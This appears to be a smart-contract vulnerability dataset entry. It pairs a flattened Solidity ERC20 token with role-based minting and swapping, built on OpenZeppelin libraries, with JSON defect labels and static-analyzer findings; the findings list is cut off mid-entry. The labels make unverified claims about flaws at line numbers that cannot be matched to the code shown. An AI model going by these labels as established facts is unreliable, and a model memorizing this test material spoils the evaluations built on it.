// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/interfaces/IToken.sol pragma solidity ^0.6.0; interface IToken { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } // File: contracts/Token.sol pragma solidity >=0.4.25 <0.7.0; contract Token is IToken, ERC20, AccessControl { using SafeMath for uint256; bytes32 private constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 private constant SWAPPER_ROLE = keccak256("SWAPPER_ROLE"); bytes32 private constant SETTER_ROLE = keccak256("SETTER_ROLE"); IERC20 private swapToken; bool private swapIsOver; uint256 private swapTokenBalance; modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "Caller is not a minter"); _; } modifier onlySetter() { require(hasRole(SETTER_ROLE, _msgSender()), "Caller is not a setter"); _; } modifier onlySwapper() { require(hasRole(SWAPPER_ROLE, _msgSender()), "Caller is not a swapper"); _; } constructor( string memory _name, string memory _symbol, address _swapToken, address _swapper, address _setter ) public ERC20(_name, _symbol) { _setupRole(SWAPPER_ROLE, _swapper); _setupRole(SETTER_ROLE, _setter); swapToken = IERC20(_swapToken); swapIsOver = false; } function init(address[] calldata instances) external onlySetter { require(instances.length == 6, "NativeSwap: wrong instances number"); for (uint256 index = 0; index < instances.length; index++) { _setupRole(MINTER_ROLE, instances[index]); } renounceRole(SETTER_ROLE, _msgSender()); swapIsOver = true; } function getMinterRole() external pure returns (bytes32) { return MINTER_ROLE; } function getSwapperRole() external pure returns (bytes32) { return SWAPPER_ROLE; } function getSetterRole() external pure returns (bytes32) { return SETTER_ROLE; } function getSwapTOken() external view returns (IERC20) { return swapToken; } function getSwapTokenBalance(uint256) external view returns (uint256) { return swapTokenBalance; } function initDeposit(uint256 _amount) external onlySwapper { require( swapToken.transferFrom(_msgSender(), address(this), _amount), "Token: transferFrom error" ); swapTokenBalance = swapTokenBalance.add(_amount); } function initWithdraw(uint256 _amount) external onlySwapper { require(_amount <= swapTokenBalance, "amount > balance"); swapTokenBalance = swapTokenBalance.sub(_amount); swapToken.transfer(_msgSender(), _amount); } function initSwap() external onlySwapper { require(!swapIsOver, "swap is over"); uint256 balance = swapTokenBalance; swapTokenBalance = 0; require(balance > 0, "balance <= 0"); _mint(_msgSender(), balance); } function mint(address to, uint256 amount) external override onlyMinter { _mint(to, amount); } function burn(address from, uint256 amount) external override onlyMinter { _burn(from, amount); } // Helpers function getNow() external view returns (uint256) { return now; } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["1290"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1252"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1279", "1293", "1249", "1287", "1275", "1275"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["1311"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [304]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [403, 404, 405, 406]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [1204]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [192, 193, 194, 195, 196, 197, 198, 186, 187, 188, 189, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [1170, 1171, 1172, 1173]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [324, 325, 326, 327, 328, 329, 330]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [376, 377, 375]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [936, 937, 938]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [944, 945, 943]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [264, 265, 266, 267]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [385, 386, 387, 388]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [228, 229, 230, 231, 232, 233, 234]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [704, 